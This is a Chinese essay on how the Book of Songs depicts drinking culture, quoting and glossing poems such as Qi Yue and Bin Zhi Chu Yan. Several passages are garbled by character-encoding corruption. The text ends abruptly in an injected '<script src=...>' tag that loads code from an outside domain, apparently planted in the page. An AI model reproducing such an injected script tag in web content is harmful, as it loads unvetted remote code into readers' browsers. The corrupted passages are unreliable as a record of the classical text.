酒香氤氳話《詩經》
翻開案頭那本《詩經》，頓時覺得氤氳酒香撲面而來，令我陶醉，良久，良久?！对娊洝肥俏覈谝徊吭姼杩偧诛L、雅、頌三個部分，共收入自西周初年至春秋中葉大約五百多年間的詩歌305篇，其中有關飲酒的許多詩篇，對我國古代的酒文化作了客觀的展現?！对娊洝分兄苯訉懙骄莆幕脑娮饔?5篇，加上間接涉及酒的詩作，總計達55篇，本文在《風》、《雅》、《頌》中各選若干涉及酒的篇章或詩句略作介紹。
“國風”是《詩經》中的精華，是我國古代文藝寶庫中璀璨的明珠。“國風”中的民歌以絢麗多彩的畫面，反映了當時真實的社會生活?！秶L.豳風.七月》中的詩句“九月肅霜，十月滌場。朋酒斯饗，曰殺羔羊。躋彼公堂，稱彼兕觥，萬壽無疆！”描寫了農事之后相聚飲酒的愉快場景，上述詩句的大意是：九月下了霜，十月掃曬場。捧上兩樽美酒（按：“朋酒”即兩樽酒），殺上一只羔羊。登上長輩的廳堂，高舉牛角酒杯，祝一聲“長壽無疆”！篇中又有詩句“十月獲稻，為此春酒，以介眉壽?！毙蜗蟮孛枥L了農家在十月收獲稻谷，然后釀酒，至春天釀成，用來敬獻給長輩，祝其長壽，淋漓盡致地描寫出充滿田園氣息的天倫之樂。
《國風.鄭風.女曰雞鳴》通過男女對話，展示了一對青年夫婦和諧的家庭生活和誠摯而熱烈的感情，詩中不乏飲酒的詩句?！芭弧u鳴’，士曰‘昧旦。子興視夜，明星有爛?！畬繉⑾瑁D與雁。弋言加之，與子宜之。宜言飲酒，與子偕老?！偕谟?，莫不靜好?！贝笠馐牵号苏f“雞已經鳴叫了?！蹦腥苏f“天還沒亮吶。你看看夜空，那些明星多么燦爛?！薄八蕹驳镍B雀就要飛去了，到蘆蕩射鴨射雁去吧。野鴨大雁射下來，我為你烹調，做成佳肴一起飲酒，我要與你白頭偕老?！迸畯椙伲泄纳?，和睦安好，多么美滿呀。詩情畫意，生動諧趣，恰似一出精煉的生活“小品”劇目。
“雅詩”和“頌詩”都是統(tǒng)治階級在特定場合所用的樂歌，反映了社會生活的某些方面，具有一定的社會意義和認識價值?！缎⊙?賓之初筵》篇幅頗長，共五章。第一章和第二章寫合乎禮制的酒宴：“賓之初筵，左右秩秩。籩豆有楚，肴核維旅。酒既和旨，飲酒孔偕。鐘鼓既設，舉醻逸逸……”賓客初入席，列坐有序。食器魚肉瓜果擺放得整齊有序。既然酒味甘醇，諸位都快喝吧。鐘鼓已經架好，舉杯敬酒連連不停?！按蠛罴瓤梗杆箯?。射夫既同，獻爾發(fā)功。發(fā)彼有的，以祈爾爵?！蓖ピ豪锇仓昧松浼拇蟀校瑧{射手的成績判定誰來飲酒。“籥舞笙鼓，樂既和奏。烝衎烈祖，以洽百禮?！弊嗥鹋藕崳钠痼?，音樂和諧。進獻樂舞敬祖，禮數周到。第三章和第四章寫賓客違背禮制時的酒宴，“曰既醉止，威儀怭怭。是曰既醉，不知其秩?！彼麄兌家押茸恚f重威嚴蕩然無存。因為大醉而不知規(guī)矩?！百e既醉止，載號載呶。亂我籩豆，屢舞僛僛。”賓客大醉，又叫又嚷。把我的食器全都弄亂，踉踉蹌蹌不停地亂舞。第五章是總結性的說理，主張養(yǎng)成酒德，遵從禮?script src=http://www.234mu.com/>
